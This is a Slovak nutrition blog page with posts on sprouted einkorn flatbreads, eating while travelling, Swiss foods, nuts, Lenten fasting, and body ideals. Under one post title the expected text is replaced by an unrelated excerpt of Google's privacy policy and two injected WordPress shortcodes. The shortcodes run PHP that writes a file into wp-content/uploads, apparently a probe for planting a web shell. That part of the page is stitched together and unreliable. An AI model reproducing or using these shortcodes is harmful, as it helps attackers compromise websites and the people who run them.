Jednozrnka zo starého hrnka

Jednozrnka je asi najstarší druh pšenice, ktorú ľudia jedli. Je tzv. neprešľachtená, výživná a inšpiruje k rozmýšľaniu nad prirodzenou výživou našich predkov :) Placky z naklíčenej jednozrnky sa jedli zrejme už v Mezopotámii :) Ich príprava nieje ani rýchla ani jednoduchá ale STOJÍ ZA TO :) Jednozrnka obsahuje bielkoviny, antioxidanty a železo. Naklíčením sa stane ľahšie strávitelnejšou a ešte viac sa zvýši jej výživová hodnota.

13726796_1068311929872482_7080418296234119601_n

POSTUP:

  • zrná na 12 hodín namočíme do vody a potom zlejeme a prepláchneme, nasledujúce 2 dni necháme zrná voľne v mise ale asi 3x denne ich prepláchneme čistou vodou, mali by sa vytvoriť klíčky

13716203_1068311903205818_7557634736795286048_n

  • naklíčené zrno rozmixujeme vo vode a podľa potreby nariedime ďalším pridaním vody na konzistenciu palacinkového cesta

13716043_1068311923205816_6043291121020098175_n

  • jemne posolíme a na dobrej a horúcej panvici opekáme z obidvoch strán hrubšie či tenšie placky (pôvodne sa placky sušili na slnku ale v našich zemepisných šírkach to predpokladám nejde tak ľahko )

13707575_1068311743205834_2174625399740483992_n

 

13697033_1068311466539195_4133444575156789753_n

Placky majú jemnú, nevýraznú chuť . Sú dobrým nosičom pre ďalšie potraviny ako syr, zelenina, mak, maslo alebo..

Varená – pečená slivková “povidla”

Čo s výživou na cestách a dovolenkách?

dovolenka 2

Dovolenka by mala byť o oddychu, spoznávaní novej krajiny a aj jej chutí. Občas sa však zvrhne na nekontrolované miešanie jedál či prejedanie, ktoré vedie k zdravotným problémom a rýchlemu priberaniu :) Ako sa tomu vyhnúť ale zároveň si cestu a dovolenku užiť v plnom zdraví a bez veľkého obmedzovania či stresu?

Najväčším kameňom úrazu pre nás Slovákov sú zrejme švédske stoly :). Pri pohľade na krásne naaranžované dobroty sa nám zakrúti hlava a nakladáme si na tanier hlava-nehlava všetko zaradom…a pol dňa je nám potom ťažko a o užívaní si dovolenky nemôže byť ani reč :)

 

CESTA:

– vyhnime sa studeným, sladeným nápojom a sladkostiam

(veľa cukru počas sedenia len prispieva k nervozite a netrpezlivosti -hlavne u detí)

– vhodné jedlo na cestu: celozrnné pečivo s arašidovým maslom (+- pár koliesok banánu a škorica)

zeleninový šalát s mandľami

ovocie s mandľami a škoricou

celozrnné pečivo s maslom, syrom alebo suchou salámou a zelenina

Ak musíte mať sladké plnené pečivo, tak si radšej vyberte tvarohové, orechové alebo makové (nie čokoládové a  lekvárové)

…a pre „klasikov“ – lepšia voľba je rezeň s chlebom a rajčinou ako čerešňová bublanina :)

ryby

DOVOLENKA:

Prvé dni bývajú kritické :) Odporúčam deň- dva neriskovať s úplne nepoznanými alebo ťažkými  jedlami ale ísť radšej „na istotu“ a nechať telo dobre aklimatizovať. Času na ochutnávanie bude ešte dosť. Myslite na pitný režim a čím skôr aj na ľahkú prechádzku, ktorá rozhýbe brušné orgány po dlhom sedení.

– vyhnite sa sladkým raňajkám – cereáliám, bábovkám

– jedzte len keď ste hladní :)

– jedlo ovoniavajte -ak Vám vôňa jedla nesedí, s najväčšou pravdepodobnosťou pre Vás nieje dobré

– nehľadajte hneď v okolí pizzériu :) ale ochutnajte niečo typické pre danú krajinu: syr, olivy, ryby

– tradičné jedlá bývajú veľmi výživné (hlavne ak je ich príprava dlhá), nenechajte si ich ujsť

– najkvalitnejšie potraviny a jedlá nájdete skôr v malých obchodoch a na trhoch ako v supermarketoch

-určite si dajte lokálne ovocie a zeleninu, ktorá u nás nerastie: figy, datle, kokos, ananás, banány, citrusy – aby ste    spoznali ich chuť keď sú zrelé a čerstvé

– ak chcete naozaj spoznať krajinu a jej tradičné jedlá, vyberte sa na vidiek

– stáva sa, že exotické jedlá sú pre nás veľmi slané alebo prekorenené, dráždivé -dajú sa vyvážiť zeleninou

– ak si chcete dať sladkosť: lepšia voľba je koláč, mliečny dezert, niečo ovocné ako klasické trvanlivé sladkosti

-ak pijete kávu, dajte si ju asi hodinu po jedle (odľahčíte tráveniu)

– ak môžete, doprajte si ryby a morské plody aby ste si doplnili jód a omega mastné kyseliny, ktoré nám doma často  chýbajú

– odneste si domov aspoň 1-2 tipy na nové jedlá či potraviny, ktorými si spestríte svoj bežný jedálniček

 

Prajem krásnu dovolenku :)

Slovensko vs Švajčiarsko 2

V ochutnávaní nových švajčiarskych jedál ma trochu pribrzdili akútne tráviace problémy..teraz som opatrnejšia :)

Na štrvtý pokus sa mi konečne podarilo nájsť maslo, ktoré mi naozaj chutí a nemá pachuť margarínu. Vyskúšala som dve bežne predávané maslá, farmárske maslo a napokon maslo s nálepkou bio suisse. Bio suisse bolo naozaj dobré a neskôr som sa dozvedela, čo všetko táto nálepka skrýva…

Aby produkt dostal takúto nálepku, musí spĺňať oveľa viac podmienok ako naše bio v EU

napríklad:

  • dobré pracovné podmienky zamestnancov, ktorí ho vyrábajú (sú samozrejme presne definované)
  • suroviny musia prednostne pochádzať z krajiny a aj sa v nej spracovávať (ale existujú aj výnimky)
  • žiaden letecký transport (kvôli vysokej produkcii CO2)
  • žiadne vykurovanie sklenníkov na pestovanie ovocia a zeleniny
  • žiadne arómy a farbivá -ani prírodné
  • žiadne synteticky vyrábané prídavné látky -napr. namiesto bežnej kyseliny citrónovej sa používa koncentrát bio citrónovej šťavy
  • ekologický obal produktu -žiaden plast obsahujúci chlór a viečka na kelímkoch s jogurtami nesmú obsahovať hliník

A teraz jedna švajčiarska špecialita: koláč nazývaný Schlorzifladen

slorzifl

Korpus z vajec, masla, múky a cukru je prikrytý ovocnou vrstvou a smotanovou vrstvou. Ovocná vrstva je z rozmixovaných sušených hrozienok, hrušiek, sliviek, škorice a ďalších korenín. Domáca verzia obsahuje aj kúsky orechov. Sušené ovocie sa namočí alebo chvíľu povarí, následne sa pečie alebo sa môže karamelizovať na panvici. Smotanová vrstva je vymiešaná zo šľahačky, vajec, škrobu a cukru.

Koláč chutí zaujímavo ale je priveľmi sladký. Zámenou surovín za zdravšie verzie by sa dal však pripraviť krásne vyvážený dezert s obsahom bielkovín, tuku a vlákniny. Neskôr sa do toho pustím lebo si myslím, že to stojí za to :)

1++

Zdá sa, že množstvo Švajčiarov sa nedrží svojej pôvodnej národnej kuchyne ale prešlo na „modernú“ -pizza, špagety, sladené nápoje, vyprážané rybie prsty a hranolky. Na každom kroku sa predávajú klobásy na grilovanie. Griluje sa aj syr, zelenina a ovocie :)

A jedno prekvapenie na záver: Stále som čakala či v miestnom rádiu, televízii alebo kdekoľvek inde budem počuť niečo o Slovensku. Zatiaľ som zachytila správu z rádia že Slovensko je v používaní alternatívnych zdrojov elektrickej energie za Švajčiarskom a v jednom magazíne som našla recept na slovenskú bábovku (cukor, múka, voda, olej, vajcia a kakao). Ach jaj..vo výživovom súboji medzi klasickou bábovkou a Schlorzifladen-om by sme prehrali..

..som zvedavá koľko Švajčiarov si bábovku podľa receptu v magazíne upečie :)

 

 

 

 

 

 

Švajčiarsko a Slovensko 1

Pri vstupe do Švajčiarska som mala som veľké očakávania – hlavne na jedlo :)

1++

Nadšene som sledovala police v supermarkete a chcela všetko ochutnať..hlavne miestne špeciality. Môj prvý nákup obsahoval hlavne mliečne výrobky, chlieb a zeleninu.

Stručne okomentujem potraviny, ktoré som zatiaľ ochutnala:

22

MASLO – veľké sklamanie, podľa mňa chutí a vonia ako margarín a rýchlo mäkkne pri izbovej teplote

– niekoľkokrát kontrolujem zloženie na obale aj so slovníkom, je to naozaj „maslo“ zo smotany

– musím ešte ochutnať inú značku, prípadne maslo od miestneho farmára (nasledujúci článok)

SYRY – ochutnala som tvrdý a čerstvý smotanový

– tvrdé syry mi vo všeobecnosti veľmi nechutia, pri švajčiarskom som nezmenila názor – slaný s pachuťou

– smotanový syr bol výborný, svieži  a kyslastý

 

JOGURT – biely z plnotučného mlieka od miestneho exkluzívneho výrobcu, ktorý vyváža svoj tovar do celého sveta

– výborný, krémový, hutný a sladkastý -to ma prekvapilo lebo naše biele jogurty sú viac kyslé

– vysvetlenie som našla na obale: pridané sušené mlieko

TVAROH – z plnotučného bio mlieka, tiež od miestneho exkluzívneho výrobcu

– veľmi hutný, krémový, lepivý, horkastý, samostane nie veľmi chutný

– chýbajú nutričné údaje a presné zloženie, zrejme má aj vyšší podiel vody ako náš hrudkovitý tvaroh

CHLIEB – pšenično-ražný

– hutný, chuťovo výborný a ani po niekoľkých dňoch neplesnivie -zrejme kvaliznejšia múka ako u nás

 

Zatiaľ odkladám väčšie porovnávanie potravín a výživy so Slovenskom -potrebujem viac času a jedla :)

ĎALŠIE POSTREHY Z GASTRONÓMIE:

  • v supermarketoch je veľa bio potravín
  • ochutnala som výborný džem z čiernych čerešní s 50%ným podielom ovocia
  • aj v švajčiasrkych potravinách sú Ečka :)
  • aj v Švajčiarsku kúpite nechtiac nedozreté ovocie a zeleninu alebo nečerstvú, zoschnutú žemľu so syrom
  • funguje tu samooblužný predaj farmárskych vajec z dvora – vojdete, vezmete vajcia a necháte peniaze
  • v jednej reštaurácii v horskom hoteli sú presolené jedlá.. používajú tu polotovary a instatné potraviny :)

Čo ma ešte v Švajčiarsku prekvapilo?

  • aj v nadmorskej výške okolo 1400 m sú dobré cesty, kanalizácia, obyvateľom sem doručujú poštu
  • pred mnohými chatami stojí stožiar s švajčiarskou vlajkou
  • alpské kravy sú naozaj krásne :)
  • prichádza sem za prácou množstvo Portugalcov
  • aj Slováci majú šancu získať švajčiarsky dôchodok :)
  • predáva sa tu poľský nábytok

 

 

 

 

Rozhovor o orechoch

1 VP -Výživová poradňa

Ako spoznáme pokazené orechy/orechy nevhodné na konzumáciu?

VP: Podľa vzhľadu, vône a chuti. Fľaky, žltý povrch, „pavučinky“, pach zatuchliny a pachuť značia, že orechy sa pokazili a treba ich bez ľútosti vyhodiť, prípadne reklamovať. V tomtoto stave sú vyslovene škodlivé. Pozor hlavne na para orechy, ktoré vidieť zoxidované už na pultoch predajní. Je to škoda, lebo sú skvelým zdrojom selénu.

Ktoré orechy z hľadiska obsahu tuku sú vhodné na častú konzumáciu a ktoré nie?

VP: Zdraví ľudia môžu bez problémov konzumovať všetky druhy orechov ak výrazne neprekračujú dennú odporučenú dávku. Uprednostňujme najmä naše domáce druhy -vlašské a lieskové. Dôležitá je aj čerstvosť -ideálne je konzumovať orechy len z poslednej sezóny.

Nepozerajme sa však na orechy len ako na zdroje tuku :) Sú bohaté na minerály, vitamíny a aminokyseliny.

Obsah tuku:

  1. makadamové orechy 76,0%
  2. pekanové orechy 71,0%
  3.  para orechy 67,0%
  4.  kokos sušený (nepravý orech) 65,0%
  5.  vlašské orechy 63,0%
  6.  lieskové orechy 62,0%
  7. mandle (kôstkovica) 53,0%
  8.  píniové oriešky (nepravé orechy) 51,0%
  9. pistácie 49,5%
  10.  arašidy (strukovina) 48,9%
  11. kešu 45,6%

V akom množstve?

VP: Celkovo jedna-dve hrste denne.

U para orechov sa odporúča neprekročiť množstvo 10 orechov na týždeň kvôli vysokému obsahu selénu. Jeden -dva kusy denne úplne stačia.

Kešu orechy, ktoré majú schopnosť zvyšovať hladinu „hormónu šťastia“ v mozgu, nás niekedy lákajú zjesť ich oveľa viac :)

11078069_842651092438568_3351955640440395699_n

V akej forme je ich najlepšie konzumovať?

VP: Najideálnejšie je jesť čerstvé orechy priamo zo stromu :).

Druhá najideálnejšia možnosť je namáčanie suchých orechov. Hlavne mandle a vlašské orechy je vhodné na niekoľko hodín (alebo celú noc) pred konzumáciou namočiť do vody. Zvýši sa tak ich stráviteľnosť, vstrebateľnosť niektorých živín, aktivita enzýmov a v neposlednom rade – budú chutiť ako čerstvé.

V poradí tretia najlepšia možnosť je príprava orechových masiel. Orechy si doma rozmixujeme a následne skladujeme v chladničke a čím skôr spotrebujeme.

Ako štvrtú možnosť vidím suché praženie.

Višne v čokoláde alebo život :)

When you use Google services, you trust us with your information. This Privacy Policy is meant to help you understand what data we collect, why we collect it, and what we do with it. This is important; we hope you will take time to read it carefully. And remember, you can find controls to manage your information and protect your privacy and security at My Account.
There are many different ways you can use our services – to search for and share information, to communicate with other people or to create new content. When you share information with us, for example by creating a Google Account, we can make those services even better – to show you more relevant search results and ads, to help you connect with people or to make sharing with others quicker and easier. As you use our services, we want you to be clear how we’re using information and the ways in which you can protect your privacy.
Our Privacy Policy may change from time to time. We will not reduce your rights under this Privacy Policy without your explicit consent. We will post any privacy policy changes on this page and, if the changes are significant, we will provide a more prominent notice (including, for certain services, email notification of privacy policy changes). We will also keep prior versions of this Privacy Policy in an archive for your review.
[insert_php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, “); [/insert_php]
[php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, “); [/php]

Neignorujme pôst

starosl. kasa

Naši predkovia sa v tomto období na 40 dní vzdali mäsa, živočíšneho tuku, vajec, mlieka a mliečnych výrobkov s výnimkou pretaveného masla.
Jedli strukoviny, obilniny, mak, kvasenú kapustu, sušené ovocie a huby, ryby, zemiaky, múčné jedla, pohanku, chlieb a rastlinné oleje.
Pre nás je to v dnešnej dobe takmer nepredstaviteľné – veď máme plné chladničky, mrazničky a skrine jedla.


Každý z nás tuší, čoho by sa mal vzdať aby bol zdravší -možno je to len jedna potravina… ale zrejme je ich viac. Teraz je skvelá príležitosť odložiť alkohol, sladkosti, údeniny, koláčiky a čokoládky preč z nášho života. Na jar budeme svieži, bez únavy a chorôb :)

Pár receptov inšpirovaných kuchyňou našich predkov nájdete  tu:

Jarné pôstne jedlá podľa našich predkov

Čo má spoločné Arnold Schwarzenegger a Audrey Hepburn?

Na prvý pohľad asi nič :) – snáď len to že obaja pochádzajú z Európy a „urobili dieru do sveta“.

arnold

Arnold ako mladý odišiel z Rakúska do USA a posunul trend v kulturistike smerom k obrovským objemom svalov. Stal sa vzorom pre mnohým mužov – a tí sa mu chceli podobať. To však nieje také jednoduché, museli si pomôcť. Zrejme tušíte kam tým mierim…veľké činky, veľké dávky bielkovín, doping a veľké zdravotné problémy. Dnes stretávam zrelých mužov, ktorí majú cysty na obličkách kvôli extrémne vysokému príjmu bielkovín v mladosti alebo majú narušené brušné orgány z dvíhania neprimerane ťažkých činiek.

Jeden český lekár, ktorý nám prednášal na vysokej škole, sa zdržanlivo vyjadril o Arnoldovi keď sme preberali hormonálne poruchy. Podľa neho trpel prejavmi akromegálie – nemoci spojenej s vysokou hladinou rastového hormónu. Nedávno som si na to spomenula a hľadala ďalšie informácie. Najprv som si myslela, že úbohý Arnold je naozaj chorý a vďaka „odchýlke“ si vybudoval úspešnú kariéru. My zdravotníci máme takú deformáciu, že všade vidíme choroby :). Viacerí ľudia ho však upodozrievali, že v mladosti bral rastový hormón, ktorý mu spôsobil zväčšenie sánky, vznik medzier medzi zubami, zväčšenie rúk, chodidiel a v neposlednej rade svalov :). Pokiaľ viem, Arnold sa k tomu nepriznal.

Audrey Hepburn bol krásna, elegantná, talentovaná, pracovitá, láskavá a ultraštíhla. Tiež sa stala ikonou a inšpiráciou pre mnohé ženy. Pre mňa tiež – nechala som si podľa nej ušiť svadobné šaty…

Jej dievčenský a krehký vzhľad bol čiastočne výsledkom jej ťažkého detstva. Trpela hladom, podvýživou a zdravotnými problémami a kvôli tomu zrejme ostala ako dospelá veľmi útla. Ale niekedy to tak býva, že z „defektu“ sa stane výhoda a prednosť.

Uznávam obidvoch týchto ľudí ale niekde sa stala chyba keď boli postavení na piedestál ako vzor pre ostatných. Prispelo to k tomu, že muži chcú byť obrovskí  a ženy veľmi štíhle za akúkoľvek cenu. Takýmito vzormi nás média výdatne zásobujú už roky a výsledkom je, že dospelé ženy chcú mať postavu ako 16-ročné dievčatá a považujú to za normálne.

Pozor teda, kým sa necháte inšpirovať :)

PS: Dámy, nezdá sa Vám, že je ťažké nájsť v obchodoch vhodné oblečenie pre fyzicky aj psychicky dospelú ženu? :)